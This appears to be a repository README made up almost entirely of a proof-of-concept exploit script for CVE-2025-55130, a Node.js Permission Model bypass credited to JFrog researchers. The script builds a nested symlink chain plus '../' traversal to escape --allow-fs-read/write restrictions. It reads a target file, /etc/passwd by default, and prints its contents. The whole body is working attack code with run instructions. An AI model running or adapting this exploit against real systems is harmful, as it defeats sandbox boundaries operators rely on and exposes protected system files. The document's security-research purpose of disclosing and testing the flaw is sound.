README.md
Rendering markdown...
/*
* CVE-2025-55130 - Node.js Permission Model Bypass
*
* Escape --allow-fs-read/write sandbox via symlink + path traversal
*
* Run: node --permission --allow-fs-read=. --allow-fs-write=. exploit.js
*
* Original technique: natann @ JFrog Security Research
*/
const fs = require('fs');
const TARGET = process.argv[2] || '/etc/passwd';
const CHAIN = './pwn/a/b/c/d/e/f';
console.log(`
===============================================
CVE-2025-55130 // Node.js Sandbox Escape
===============================================
target: ${TARGET}
node: ${process.version}
===============================================
`);
// Verify permission model is active
if (typeof process.permission === 'undefined') {
console.log('[!] permission model not active');
console.log('[!] run with: node --permission --allow-fs-read=. --allow-fs-write=. exploit.js');
process.exit(1);
}
// Setup
console.log('[*] building symlink chain...');
try {
fs.rmSync('./pwn', { recursive: true, force: true });
} catch(e) {}
fs.mkdirSync(CHAIN, { recursive: true });
fs.symlinkSync(__dirname, CHAIN + '/link');
// Calculate traversal depth
const depth = __dirname.split('/').filter(Boolean).length;
const traversal = '../'.repeat(depth);
const payload = `${CHAIN}/link/${traversal}${TARGET.replace(/^\//, '')}`;
console.log('[*] payload: ' + payload);
console.log('[*] traversal depth: ' + depth);
console.log('[*] attempting read...\n');
try {
const data = fs.readFileSync(payload, 'utf8');
console.log('[+] SANDBOX ESCAPED - read successful\n');
console.log('--- BEGIN ' + TARGET + ' ---');
console.log(data);
console.log('--- END ---\n');
console.log('[+] node ' + process.version + ' is VULNERABLE');
} catch (err) {
if (err.code === 'ERR_ACCESS_DENIED') {
console.log('[-] access denied - patched or mitigated');
} else {
console.log('[-] error: ' + err.code + ' - ' + err.message);
}
}
// Cleanup
fs.rmSync('./pwn', { recursive: true, force: true });